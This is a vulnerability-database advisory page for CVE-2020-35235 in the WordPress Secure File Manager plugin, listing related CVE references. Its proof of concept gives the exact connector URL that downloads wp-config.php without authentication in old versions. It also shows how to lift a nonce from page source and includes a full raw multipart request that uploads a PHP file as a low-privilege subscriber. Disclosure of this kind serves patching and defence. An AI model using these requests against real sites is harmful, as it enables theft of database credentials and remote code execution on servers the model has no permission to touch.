Lucene search
+L

Secure File Manager < 2.8.2 - Authenticated Remote Command Execution

🗓️ 23 Nov 2020 00:00:00Reported by wpvulndbType 
wpexploit
 wpexploit
👁 743 Views

Secure File Manager < 2.8.2 - Authenticated Remote Command Execution, Unauthorized Acces

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2020-35235
26 Jan 202500:00
circl
CNNVD
WordPress Plugin secure-file-manager 访问控制错误漏洞
13 Dec 202000:00
cnnvd
CNVD
WordPress Plugin secure-file-manager Access Control Errorl Vulnerability
15 Dec 202000:00
cnvd
CVE
CVE-2020-35235
14 Dec 202002:20
cve
Cvelist
CVE-2020-35235
14 Dec 202002:20
cvelist
NVD
CVE-2020-35235
14 Dec 202003:15
nvd
OSV
CVE-2020-35235
14 Dec 202003:15
osv
Prion
Remote code execution
14 Dec 202003:15
prion
Positive Technologies
PT-2020-17295 · WordPress · Secure-File-Manager
14 Dec 202000:00
ptsecurity
RedhatCVE
CVE-2020-35235
22 May 202517:10
redhatcve
Rows per page
Download the wp-config.php

< 2.6 - As an unauthenticated user, open /wp-content/plugins/secure-file-manager/vendor/elfinder/php/connector.minimal.php?cmd=file&target=l1_d3AtY29uZmlnLnBocA&download=1&cpath=/wp-admin/admin.php

< 2.8.2 - Log in as any user, access the Secure File Manager menu (wp-admin/admin.php?page=sfm_file_manager) which will result in an Unauthorized Access error unless logged in as admin, view the source of the page and retrieve the value of the sfmpNonceKey. Then append it to the URL above in a _wnonce parameter:

/wp-content/plugins/secure-file-manager/vendor/elfinder/php/connector.minimal.php?cmd=file&target=l1_d3AtY29uZmlnLnBocA&download=1&_wpnonce=69f62e1414&cpath=/wp-admin/admin.php


RCE can be obtained as well, with a crafted request to upload a PHP file, e.g /hello-user.php

for < 2.8.2, get the nonce with the same technique as above
for < 2.6, just remove the _wpnonce parameter

POST /wp-content/plugins/secure-file-manager/vendor/elfinder/php/connector.minimal.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wp-admin/admin.php?page=sfm_file_manager
Content-Type: multipart/form-data; boundary=---------------------------32138351926630035821198693946
Content-Length: 851
Origin: http://127.0.0.1
Connection: close
Cookie: [Subscriber cookie]

-----------------------------32138351926630035821198693946
Content-Disposition: form-data; name="reqid"

1770034af3e3c9
-----------------------------32138351926630035821198693946
Content-Disposition: form-data; name="cmd"

upload
-----------------------------32138351926630035821198693946
Content-Disposition: form-data; name="target"

l1_Lw
-----------------------------32138351926630035821198693946
Content-Disposition: form-data; name="_wpnonce"

69f62e1414
-----------------------------32138351926630035821198693946
Content-Disposition: form-data; name="upload[]"; filename="hello-user.php"
Content-Type: text/plain

<?php echo 'failed'; ?>

-----------------------------32138351926630035821198693946
Content-Disposition: form-data; name="mtime[]"

1375102826
-----------------------------32138351926630035821198693946--

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation